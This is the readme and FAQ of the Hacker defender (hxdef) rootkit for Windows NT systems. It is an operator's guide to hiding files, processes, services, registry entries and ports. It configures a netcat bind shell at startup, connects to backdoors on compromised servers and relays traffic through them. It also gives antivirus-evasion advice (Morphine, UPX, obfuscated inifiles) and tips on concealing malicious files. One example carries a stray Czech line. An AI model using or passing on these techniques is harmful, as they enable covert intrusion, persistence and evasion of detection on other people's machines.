=====[ 2. Introduction ]========================================================
Hacker defender (hxdef) is rootkit for Windows NT 4.0, Windows 2000,
Windows XP and Windows Server 2003, it may also work on latest NT based
systems. Main code is written in Delphi. New functions are written
in assembler. Driver code is written in C. Support programs are coded mostly
in Delphi.
program uses adapted LDE32
LDE32, Length-Disassembler Engine, 32-bit, (x) 1999-2000 Z0MBiE
special edition for REVERT tool
version 1.05
program uses Superfast/Supertiny Compression/Encryption library
Superfast/Supertiny Compression/Encryption library.
(c) 1998 by Jacky Qwerty/29A.
=====[ 2.1 Idea ]===============================================================
The main idea of this program is to rewrite few memory segments in all
running processes. Rewriting of some basic modules cause changes in processes
behaviour. Rewriting must not affect the stability of the system or running
processes.
Program must be absolutely hidden for all others. Now the user is able
to hide files, processes, system services, system drivers, registry keys and
values, open ports, cheat with free disk space. Program also masks its changes
in memory and hiddes handles of hidden processes. Program installs hidden
backdoors, register as hidden system service and installs hidden system driver.
The technology of backdoor allowed to do the implantation of redirector.
=====[ 2.2 Licence ]============================================================
This project is open source since version 1.0.0 but there exist also
commercial versions with advanced features.
And of course authors are not responsible for what you're doing with
Hacker defender.
=====[ 3. Usage ]===============================================================
Usage of hxdef is quite simple:
>hxdef100.exe [inifile]
or
>hxdef100.exe [switch]
Default name for inifile is EXENAME.ini where EXENAME is the name of
executable of main program without extension. This is used if you run hxdef
without specifying the inifile or if you run it with switch (so default
inifile is hxdef100.ini).
These switches are available:
-:installonly - only install service, but not run
-:refresh - use to update settings from inifile
-:noservice - doesn't install services and run normally
-:uninstall - removes hxdef from the memory and kills all
running backdoor connections
stopping hxdef service does the same now
Example:
>hxdef100.exe -:refresh
Hxdef with its default inifile is ready to run without any change
in inifile. But it's highly recommended to create your own settings. See
4. Inifile section for more information about inifile.
Switches -:refresh and -:uninstall can be called only from original
exefile. This mean you have to know the name and path of running hxdef
exefile to change settings or to uninstall it.
=====[ 4. Inifile ]=============================================================
Inifile must contain ten parts: [Hidden Table], [Hidden Processes],
[Root Processes], [Hidden Services], [Hidden RegKeys], [Hidden RegValues],
[Startup Run], [Free Space], [Hidden Ports] and [Settings].
In [Hidden Table], [Hidden Processes], [Root Processes],
[Hidden Services] a [Hidden RegValues] can be used character * as the wildcard
in place of strings end. Asterisk can be used only on strings end, everything
after first asterisks is ignored. All spaces before first and after last
another string characters are ignored.
Example:
[Hidden Table]
hxdef*
this will hide all files, dirs and processes which name start with "hxdef".
Hidden Table is a list of files and directories which should be hidden.
All files and directories in this list will disappear from file managers. Make
sure main file, inifile, your backdoor file and driver file are mentioned
in this list.
Hidden Processes is a list of processes which should be hidden. They
will be hidden in tasklist etc. Make sure main file and backdoor file is
in this list.
Root Processes is a list of programs which will be immune against
infection. You can see hidden files, directories and programs only with these
root programs. So, root processes are for rootkit admins. To be mentioned in
Root Processes doesn't mean you're hidden. It is possible to have root process
which is not hidden and vice versa.
Hidden Services is a list of service and driver names which will be
hidden in the database of installed services and drivers. Service name for the
main rootkit program is HackerDefender100 as default, driver name for the main
rootkit driver is HackerDefenderDrv100. Both can be changed in the inifile.
Hidden RegKeys is a list of registry keys which will be hidden. Rootkit
has four keys in registry: HackerDefender100, LEGACY_HACKERDEFENDER100,
HackerDefenderDrv100, LEGACY_HACKERDEFENDERDRV100 as default. If you rename
service name or driver name you should also change this list.
First two registry keys for service and driver are the same as its
name. Next two are LEGACY_NAME. For example if you change your service name to
BoomThisIsMySvc your registry entry will be LEGACY_BOOMTHISISMYSVC.
Hidden RegValues is a list of registry values which will be hidden.
Startup Run is a list of programs which rootkit run after its startup.
These programs will have same rights as rootkit. Program name is divided from
its arguments with question tag. Do not use " characters. Programs will
terminate after user logon. Use common and well known methods for starting
programs after user logon. You can use following shortcuts here:
%cmd% - stands for system shell exacutable + path
(e.g. C:\winnt\system32\cmd.exe)
%cmddir% - stands for system shell executable directory
(e.g. C:\winnt\system32\)
%sysdir% - stands for system directory
(e.g. C:\winnt\system32\)
%windir% - stands for Windows directory
(e.g. C:\winnt\)
%tmpdir% - stands for temporary directory
(e.g. C:\winnt\temp\)
Example:
1)
[Startup Run]
c:\sys\nc.exe?-L -p 100 -t -e cmd.exe
netcat-shell is run after rootkit startup and listens on port 100
2)
[Startup Run]
%cmd%?/c echo Rootkit started at %TIME%>> %tmpdir%starttime.txt
this will put a time stamp to temporary_directory\starttime.txt
(e.g. C:\winnt\temp\starttime.txt) everytime rootkit starts
(%TIME% works only with Windows 2000 and higher)
Free Space is a list of harddrives and a number of bytes you want to
add to a free space. The list item format is X:NUM where X stands for the
drive letter and NUM is the number of bytes that will be added to its number of
free bytes.
Example:
[Free Space]
C:123456789
this will add about 123 MB more to shown free disk space of disk C
3)
[Hidden Ports]
TCPI:
TCPO:
UDP:53,54,55,56,800
toto skryje pet portu: 53/UDP, 54/UDP, 55/UDP, 56/UDP a 800/UDP
Hidden Ports is a list of open ports that you want to hide from
applications like OpPorts, FPort, Active Ports, Tcp View etc. It has three
lines. First line format is TCPI:port1,port2,port3,..., second line format is
TCPO:port1,port2,port3,..., third line format is UDP:port1,port2,port3,...
Example:
1)
[Hidden Ports]
TCPI:8080,456
TCPO:
UDP:
this will hide two (inbound) ports: 8080/TCP and 456/TCP
2)
[Hidden Ports]
TCPI:
TCPO:8001
UDP:
this will hide (outbound) port 8001/TCP
3)
[Hidden Ports]
TCPI:
TCPO:
UDP:53,54,55,56,800
this will hide five ports: 53/UDP, 54/UDP, 55/UDP, 56/UDP and 800/UDP
Settings contains eigth values: Password, BackdoorShell,
FileMappingName, ServiceName, ServiceDisplayName, ServiceDescription,
DriverName and DriverFileName.
Password which is 16 character string used when working with backdoor
or redirector. Password can be shorter, rest is filled with spaces.
BackdoorShell is name for file copy of the system shell which is
created by backdoor in temporary directory.
FileMappingName is the name of shared memory where the settings for
hooked processes are stored.
ServiceName is the name of rootkit service.
ServiceDisplayName is display name for rootkit service.
ServiceDescription is description for rootkit service.
DriverName is the name for hxdef driver.
DriverFileName is the name for hxdef driver file.
Example:
[Settings]
Password=hxdef-rulez
BackdoorShell=hxdef�$.exe
FileMappingName=_.-=[Hacker Defender]=-._
ServiceName=HackerDefender100
ServiceDisplayName=HXD Service 100
ServiceDescription=powerful NT rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdefdrv.sys
this mean your backdoor password is "hxdef-rulez", backdoor will copy system
shell file (usually cmd.exe) to "hxdef�$.exe" to temp. Name of shared memory
will be "_.-=[Hacker Defender]=-._". Name of a service is "HackerDefender100",
its display name is "HXD Service 100", its description is "poweful NT rootkit".
Name of a driver is "HackerDefenderDrv100". Driver will be stored in a file
called "hxdefdrv.sys".
Extra characters |, <, >, :, \, / and " are ignored on all lines except
[Startup Run], [Free Space] and [Hidden Ports] items and values in [Settings]
after first = character. Using extra characters you can make your inifile
immune from antivirus systems.
Example:
[H<<<idden T>>a/"ble]
>h"xdef"*
is the same as
[Hidden Table]
hxdef*
see hxdef100.ini and hxdef100.2.ini for more examples
All strings in inifile except those in Settings and Startup Run are
case insensitive.
=====[ 5. Backdoor ]============================================================
Rootkit hooks some API functions connected with receiving packets
from the net. If incoming data equals to 256 bits long key, password
and service are verified, the copy of a shell is created in a temp, its
instance is created and next incoming data are redirected to this shell.
Because rootkit hooks all process in the system all TCP ports on all
servers will be backdoors. For example, if the target has port 80/TCP open for
HTTP, then this port will also be available as a backdoor. Exception here is
for ports opened by System process which is not hooked. This backdoor will
works only on servers where incoming buffer is larger or equal to 256 bits. But
this feature is on almost all standard servers like Apache, IIS, Oracle.
Backdoor is hidden because its packets go through common servers on the system.
So, you are not able to find it with classic portscanner and this backdoor can
easily go through firewall. Exception in this are classic proxies which are
protocol oriented for e.g. FTP or HTTP.
During tests on IIS services was found that HTTP server does not log
any of this connection, FTP and SMTP servers log only disconnection at the end.
So, if you run hxdef on server with IIS web server, the HTTP port is probably
the best port for backdoor connection on this machine.
You have to use special client if want to connect to the backdoor.
Program bdcli100.exe is used for this.
Usage: bdcli100.exe host port password
Example:
>bdcli100.exe www.windowsserver.com 80 hxdef-rulez
this will connect to the backdoor if you rooted www.windowsserver.com before
and left default hxdef password
Client for version 1.0.0 is not compatible with servers in older
version.
=====[ 5.1 Redirector ]=========================================================
Redirector is based on backdoor technology. First connection packets
are same as in backdoor connection. That mean you use same ports as for
backdoor. Next packets are special packets for redirector only. These packets
are made by redirectors base which is run on users computer. First packet
of redirected connection defines target server and port.
The redirectors base saves its settings into its inifile which name
depends on base exefile name (so default is rdrbs100.ini). If this file doesn't
exist when base is run, it is created automatically. It is better not to modify
this inifile externaly. All settings can be changed from base console.
If we want to use redirector on server where rootkit is installed,
we have to run redirectors base on localhost before. Then in base console we
have to create mapped port routed to server with hxdef. Finally we can connect
on localhost base on chosen port and transfering data. Redirected data are
coded with rootkit password. In this version connection speed is limited with
about 256 kBps. Redirector is not determined to be used for hispeed connections
in this version. Redirector is also limited with system where rootkit run.
Redirector works with TCP protocol only.
In this version the base is controled with 19 commands. These are not
case sensitive. Their function is described in HELP command. During the base
startup are executed commands in startup-list. Startup-list commands are edited
with commands which start with SU.
Redirector differentiate between two connection types (HTTP and other).
If connection is other type packets are not changed. If it is HTTP type Host
parametr in HTTP header is changed to the target server. Maximum redirectors
count on one base is 1000.
Redirector base fully works only on NT boxes. Only on NT program has
tray icon and you can hide console with HIDE command. Only on NT base can be
run in silent mode where it has no output, no icon and it does only commands
in startup-list.
Examples:
1) getting mapped port info
>MPINFO
No mapped ports in the list.
2) add command MPINFO to startup-list and get startup-list commands:
>SUADD MPINFO
>sulist
0) MPINFO
3) using of HELP command:
>HELP
Type HELP COMMAND for command details.
Valid commands are:
HELP, EXIT, CLS, SAVE, LIST, OPEN, CLOSE, HIDE, MPINFO, ADD, DEL,
DETAIL, SULIST, SUADD, SUDEL, SILENT, EDIT, SUEDIT, TEST
>HELP ADD
Create mapped port. You have to specify domain when using HTTP type.
usage: ADD <LOCAL PORT> <MAPPING SERVER> <MAPPING SERVER PORT> <TARGET
SERVER> <TARGET SERVER PORT> <PASSWORD> [TYPE] [DOMAIN]
>HELP EXIT
Kill this application. Use DIS flag to discard unsaved data.
usage: EXIT [DIS]
4) add mapped port, we want to listen on localhost on port 100, rootkit
is installed on server 200.100.2.36 on port 80, target server is www.google.com
on port 80, rootkits password is bIgpWd, connection type is HTTP, ip address
of target server (www.google.com) - we always have to know its ip - is
216.239.53.100:
>ADD 100 200.100.2.36 80 216.239.53.100 80 bIgpWd HTTP www.google.com
command ADD can be run without parameters, in this case we are asked for every
parameter separately
5) now we can check mapped ports again with MPINFO:
>MPINFO
There are 1 mapped ports in the list. Currently 0 of them open.
6) enumeration of mapped port list:
>LIST
000) :100:200.100.2.36:80:216.239.53.100:80:bIgpWd:HTTP
7) datailed description of one mapped port:
>DETAIL 0
Listening on port: 100
Mapping server address: 200.100.2.36
Mapping server port: 80
Target server address: 216.239.53.100
Target server port: 80
Password: bIgpWd
Port type: HTTP
Domain name for HTTP Host: www.google.com
Current state: CLOSED
8) we can test whether the rootkit is installed with out password on mapping
server 200.100.2.36 (but this is not needed if we are sure about it):
>TEST 0
Testing 0) 200.100.2.36:80:bIgpWd - OK
if test failed it returns
Testing 0) 200.100.2.36:80:bIgpWd - FAILED
9) port is still closed and before we can use it, we have to open it with OPEN
command, we can close port with CLOSE command when it is open, we can use flag
ALL when want to apply these commands on all ports in the list, current state
after required action is written after a while:
>OPEN 0
Port number 0 opened.
>CLOSE 0
Port number 0 closed.
or
>OPEN ALL
Port number 0 opened.
10) to save current settings and lists we can use SAVE command, this saves
all to inifile (saving is also done by command EXIT without DIS flag):
>SAVE
Saved successfully.
Open port is all what we need for data transfer. Now you can open your
favourite explorer and type http://localhost:100/ as url. If no problems you
will see how main page on www.google.com is loaded.
First packets of connection can be delayed up to 5 seconds, but others
are limited only by speed of server, your internet connection speed and by
redirector technology which is about 256 kBps in this version.

=====[ 6.3 Known bugs ]=========================================================
There is one known bug in this version.
1)
Backdoor client may crash when you paste more data from clipboard using
rigth click to the console or using console menu. You can still paste the data
from clipboard using Ctrl+Ins, Shift+Ins if the program running in the console
supports this.
If you think you find the bug please report it to the public board
(or to betatesters board if you are betatester) or on <
[email protected]
>.
But be sure you've read this readme, faq section, todo list and the board and
you find nothing about what you want to write about before you write it.
=====[ 7. Faq ]=================================================================
Because of many simple questions on the board I realize to create a faq
section in this readme. Before you ask about anything read this readme twice
and take special care to this section. Then read old messages on the board
and after then if you still think you are not able to find an answer for your
question you can put it on the board.
The questions are:
1) I've download hxdef, run it and can't get a rid of it. How can I uninstall
it if I can't see its process, service and files?
2) Somebody hacked my box, run hxdef and I can't get a rid of it. How can I
uninstall it and all that backdoors that were installed on my machine?
3) Is this program detected by antivirus software? And if yes, is there any way
to beat it?
4) How is that I can't connect to backdoor on ports 135/TCP, 137/TCP, 138/TCP,
139/TCP or 445/TCP when target box has them open?
5) Is there any way to have hidden process which file on disk is visible?
6) How about hiding svchost.exe and others I can see in tasklist?
7) I'm using DameWare and I can see all your services and all that should be
hidden. Is this the bug?
8) But anyone can see my hidden files via netbios. What should I do?
9) Backdoor client is not working. Everything seems ok, but after connecting
I can't type anything and the whole console screen is black. What should I do?
10) When will we get the new version?
11) net.exe command can stop hidden services, is this the bug?
12) Is there any way to detect this rootkit?
13) So, how is it difficult to detect hxdef. And did somebody make a proggie
that can do it?
14) So, how can I detect it?
15) Does the version number which starts with 0 mean that it is not stable
version?
16) When will you publish the source? I've read it will be with the version
1.0.0, but when?
17) I want to be the betatester, what should I do?
18) Is it legal to use hxdef?
19) Is it possible to update machine with old hxdef with this version? Is it
possible without rebooting the machine?
20) Is it possible to update machine with this version of hxdef with a newer
version I get in future? Is it possible without rebooting?
21) Is it better to use -:uninstall or to use net stop ServiceName?
22) I really love this proggie. Can I support your work with a little donation?
23) Is there any chance to hide C:\temp and not to hide C:\winnt\temp?
24) I can see the password in inifile is plaintext! How is this possible?
25) If I have a process that is in Hidden Processes and it listens on a port,
will this port be automatically hidden or should I put it to Hidden Ports?
Now get the answers:
1)
Q: I've download hxdef, run it and can't get a rid of it. How can I uninstall
it if I can't see its process, service and files?
A: If you left default settings you can run shell and stop the service:
>net stop HackerDefender100
Hxdef is implemented to uninstall completely is you stop its service. This does
the same as -:uninstall but you don't need to know where hxdef is.
If you changed ServiceName in inifile Settings, type this in your shell:
>net stop ServiceName
where ServiceName stands for the value you set to ServiceName in inifile.
If you forgot the name of the service you can boot your system from CD
and try to find hxdef inifile and look there for ServiceName value and then
stop it as above.
2)
Q: Somebody hacked my box, run hxdef and I can't get a rid of it. How can I
uninstall it and all that backdoors that were installed on my machine?
A: Only 100% solution is to reinstall your Windows. But if you want to do this
you'll have to find the inifile like in question 1) above. Then after
uninstalling hxdef from your system go through inifile and try to find all
files that match files in its lists, verify these files and delete them
if they belongs to the attacker.
3)
Q: Is this program detected by antivirus software? And if yes, is there any way
to beat it?
A: Yes, and not only the exefile is detected, few antivirus systems also
detect inifile and also driver file may be detected. The answer for second
question here is yes, you can beat it quite easily. On hxdef home site you can
find a tool called Morphine. If you use Morphine on hxdef exefile you will get
a new exefile which can't be detected with common antivirus systems. Inifile
is also designed to beat antivirus systems. You can add extra characters to it
to confuse antivirus systems. See 4. Inifile section for more info. Also see
included inifiles. There are two samples that are equal, but the first one is
using extra characters so it can't be detected by common antivirus systems.
Probably the best way is to use UPX before you use Morphine. UPX will reduce
the size of hxdef exefile and Morphine will make the antiantivirus shield.
See Morphine readme for more info about it.
4)
Q: How is that I can't connect to backdoor on ports 135/TCP, 137/TCP, 138/TCP,
139/TCP or 445/TCP when target box has them open?
A: As mentioned in 5. Backdoor section of this readme backdoor need server
with incomming buffer larger or equal to 256 bits. And also system ports may
not work. If you have a problem with find open port that works you can simply
run netcat and listen on your own port. You should add this netcat port to
Hidden Ports in inifile then.
5)
Q: Is there any way to have hidden process which file on disk is visible?
A: No. And you also can't have a hidden file on disk of process which is
visible in the task list.
6)
Q: How about hiding svchost.exe and others I can see in tasklist?
A: This is really bad idea. If you hide common system processes your Windows
can crash very soon. With hxdef you don't need to name your malicious files
like svchost.exe, lsass.exe etc. you can name it with any name and add this
name to Hidden Processes to hide them.
7)
Q: I'm using DameWare and i can see all your services and all that should be
hidden. Is this the bug?
A: Nope. DameWare and others who use remote sessions (and or netbios) can see
hidden services because this feature is not implemented yet. It's a big
difference between the bug and not implemented. See todo list on the web for
things that are not implemented yet.
8)
Q: But anyone can see my hidden files via netbios. What should I do?
A: Put your files deeply into the system directories or to directories that are
not shared.
9)
Q: Backdoor client is not working. Everything seems ok, but after connecting
I can't type anything and the whole console screen is black. What should I do?
A: You probably use bad port for connecting. Hxdef tries to detect bad ports
and disconnect you, but sometimes it is not able to detect you are using bad
port. So, try to use different port.
10)
Q: When will we get the new version?
A: Developers code this stuff in their free time. They take no money for this
and they don't want to get the money for this. There are only two coders right
now and we think this is enough for this project. This mean coding is not as
fast as microsoft and you should wait and don't ask when the new version will
be released. Unlike microsoft our product is free and we have good betatesters
and we test this proggie a lot, so our public version are stable.
11)
Q: net.exe command can stop hidden services, is this the bug?
A: Nope. It is not a bug, it is the feature. You still have to know the name
of the service you want to stop and if it is hidden the only who can know it
is the rootkit admin. Don't be scared this is the way how to detect you.
12)
Q: Is there any way to detect this rootkit?
A: Yes. There are so many ways how to detect any rootkit and this one is not
(and can't be) exception. Every rootkit can be detected. Only questions here
are how is it difficult and did somebody make a proggie that can do it?
13)
Q: So, how is it difficult to detect hxdef. And did somebody make a proggie
that can do it?
A: It is very very easy to detect this, but I don't know special tool that can
tell you that there is hxdef on your machine rigth now.
14)
Q: So, how can I detect it?
A: I won't tell you this :)
15)
Q: Does the version number which starts with 0 mean that it is not stable
version?
A: No, it means that there are few things that are not implemented yet and that
the source is closed and under development.
16)
Q: When will you publish the source? I've read it will be with the version
1.0.0, but when?
A: I really don't know when. There are several things I want to implement
before releasing 1.0.0. It can take a six months as well as a year or longer.
17)
Q: I want to be the betatester, what should I do?
A: You should write me the mail about how can you contribute and what are your
abilities for this job and your experiences with betatesting. But the chance to
be a new betatester for this project is quite low. Right now we have enough
testers who do a good job. No need to increase the number of them.
18)
Q: Is it legal to use hxdef?
A: Sure it is, but hxdef can be easily misused for illegal activities.
19)
Q: Is it possible to update machine with old hxdef with this version? Is it
possible without rebooting the machine?
A: It isn't possible without rebooting the machine, but you can update it when
you do a manual uninstall of that old version, reboot the machine and install
the new version.
20)
Q: Is it possible to update machine with this version of hxdef with a newer
version I get in future? Is it possible without rebooting?
A: Yes! You can use -:uninstall to totaly remove this version of hxdef without
rebooting. Then simply install the new version.
21)
Q: Is it better to use -:uninstall or to use net stop ServiceName?
A: The prefered way is to use -:uninstall if you have the chance. But net stop
will also does the stuff.
22)
Q: I really love this proggie. Can I support your work with a little donation?
A: We don't need it, but we will be you give your money to any of those
beneficent organisations in your country and write us the mail about it.
23)
Q: Is there any chance to hide C:\temp and not to hide C:\winnt\temp?
A: No. Create your own directory with a specific name and put it to the Hidden
Table.
24)
Q: I can see the password in inifile is plaintext! How is this possible?
A: You migth think this is quite unsecure way to store password but if you hide
your inifile nobody can read it. So, it is secure. And it is easy to change
anytime and you can use -:refresh to change the password easily.
25)
Q: If I have a process that is in Hidden Processes and it listens on a port,
will this port be automatically hidden or should I put it to Hidden Ports?
A: Only hidden ports are those in Hidden Ports list. So, yes, you should put it
in to Hidden Ports.
